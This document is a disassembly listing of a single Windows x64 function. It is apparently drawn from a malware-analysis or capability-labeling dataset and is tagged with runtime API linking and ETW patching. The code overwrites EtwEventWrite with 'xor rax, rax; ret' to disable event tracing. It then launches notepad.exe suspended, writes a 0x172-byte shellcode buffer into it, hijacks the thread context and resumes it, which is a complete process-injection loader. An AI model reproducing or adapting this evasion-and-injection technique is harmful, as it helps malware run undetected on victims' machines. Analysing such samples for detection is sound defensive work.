Function at 0x140011262
Capabilities:
Link many functions at runtime
Patch event tracing for windows function

Disassembly:
jmp 0x140011870
push rbp
push rsi
push rdi
sub rsp, 0xd40
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x24c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xce8], rax
lea rcx, [0x1400230a2]
call fcn.140011366
lea rax, [rbp + 0x10]
lea rcx, [0x14001aeb0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x172
rep movsb byte [rdi], byte [rsi]
mov qword [rbp + 0x1a8], 0x172
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
jne 0x140011905
lea rcx, str.Failed_to_get_handle_of_kernel32.dll_n
call fcn.14001118b
mov eax, 0xffffffff
jmp 0x140011d2f
lea rdx, str.CreateProcessA
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1e8], rax
lea rdx, str.VirtualAllocEx
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x208], rax
lea rdx, str.WriteProcessMemory
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x228], rax
lea rdx, str.GetThreadContext
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x248], rax
lea rdx, str.SetThreadContext
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x268], rax
lea rdx, str.ResumeThread
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x288], rax
lea rdx, str.VirtualProtect
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x2a8], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x2c8], rax
cmp qword [rbp + 0x2c8], 0
jne 0x1400119fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_get_handle_for_ntdll.dll___d_._n
call fcn.14001118b
mov eax, 1
jmp 0x140011d2f
lea rdx, str.EtwEventWrite
mov rcx, qword [rbp + 0x2c8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x2e8], rax
cmp qword [rbp + 0x2e8], 0
jne 0x140011a41
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_get_address_of_EtwEventWrite___d_._n
call fcn.14001118b
mov eax, 1
jmp 0x140011d2f
mov rdx, qword [rbp + 0x2e8]
lea rcx, str.EtwEventWrite_found_at_address:_0x_p_n
call fcn.14001118b
lea r9, [rbp + 0x304]
mov r8d, 0x40
mov edx, 2
mov rcx, qword [rbp + 0x2e8]
call qword [rbp + 0x2a8]
test eax, eax
jne 0x140011a95
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_change_memory_protection_for_EtwEventWrite___d_._n
call fcn.14001118b
mov eax, 1
jmp 0x140011d2f
mov byte [rbp + 0x324], 0x48
mov byte [rbp + 0x325], 0x33
mov byte [rbp + 0x326], 0xc0
mov byte [rbp + 0x327], 0xc3
mov r8d, 4
lea rdx, [rbp + 0x324]
mov rcx, qword [rbp + 0x2e8]
call fcn.1400111a9
lea r9, [rbp + 0x304]
mov r8d, dword [rbp + 0x304]
mov edx, 2
mov rcx, qword [rbp + 0x2e8]
call qword [rbp + 0x2a8]
lea rcx, str.EtwEventWrite_successfully_modified_to_xor_rax__rax__ret._n
call fcn.14001118b
cmp qword [rbp + 0x1e8], 0
je 0x140011b32
cmp qword [rbp + 0x208], 0
je 0x140011b32
cmp qword [rbp + 0x228], 0
je 0x140011b32
cmp qword [rbp + 0x248], 0
je 0x140011b32
cmp qword [rbp + 0x268], 0
je 0x140011b32
cmp qword [rbp + 0x288], 0
jne 0x140011b48
lea rcx, str.Failed_to_get_one_or_more_function_addresses_n
call fcn.14001118b
mov eax, 0xffffffff
jmp 0x140011d2f
lea rax, [rbp + 0x350]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x3d8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rbp + 0x350], 0x68
lea rax, [rbp + 0x3d8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x350]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.C:WindowsSystem32_notepad.exe
xor ecx, ecx
call qword [rbp + 0x1e8]
test eax, eax
jne 0x140011be1
lea rcx, str.Failed_to_create_new_process_n
call fcn.14001118b
mov eax, 0xffffffff
jmp 0x140011d2f
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x1a8]
xor edx, edx
mov rcx, qword [rbp + 0x3d8]
call qword [rbp + 0x208]
mov qword [rbp + 0x408], rax
cmp qword [rbp + 0x408], 0
jne 0x140011c2c
lea rcx, str.Failed_to_allocate_memory_in_target_process_n
call fcn.14001118b
mov eax, 0xffffffff
jmp 0x140011d2f
lea rax, [rbp + 0x428]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x1a8]
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x408]
mov rcx, qword [rbp + 0x3d8]
call qword [rbp + 0x228]
test eax, eax
jne 0x140011c71
lea rcx, str.Failed_to_write_shellcode_to_target_process_n
call fcn.14001118b
mov eax, 0xffffffff
jmp 0x140011d2f
mov dword [rbp + 0x480], 0x10000b
lea rdx, [rbp + 0x450]
mov rcx, qword [rbp + 0x3e0]
call qword [rbp + 0x248]
test eax, eax
jne 0x140011ca9
lea rcx, str.Failed_to_get_thread_context_n
call fcn.14001118b
mov eax, 0xffffffff
jmp 0x140011d2f
mov rax, qword [rbp + 0x408]
mov qword [rbp + 0x548], rax
lea rdx, [rbp + 0x450]
mov rcx, qword [rbp + 0x3e0]
call qword [rbp + 0x268]
test eax, eax
jne 0x140011ce2
lea rcx, str.Failed_to_set_thread_context_n
call fcn.14001118b
mov eax, 0xffffffff
jmp 0x140011d2f
mov rcx, qword [rbp + 0x3e0]
call qword [rbp + 0x288]
cmp eax, 0xffffffff
jne 0x140011d07
lea rcx, str.Failed_to_resume_thread_n
call fcn.14001118b
mov eax, 0xffffffff
jmp 0x140011d2f
lea rcx, str.Shellcode_injected_and_executed_successfully__n
call fcn.14001118b
mov rcx, qword [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ae30]
call fcn.140011302
mov rax, rdi
mov rcx, qword [rbp + 0xce8]
xor rcx, rbp
call fcn.1400111a4
lea rsp, [rbp + 0xcf0]
pop rdi
pop rsi
pop rbp
ret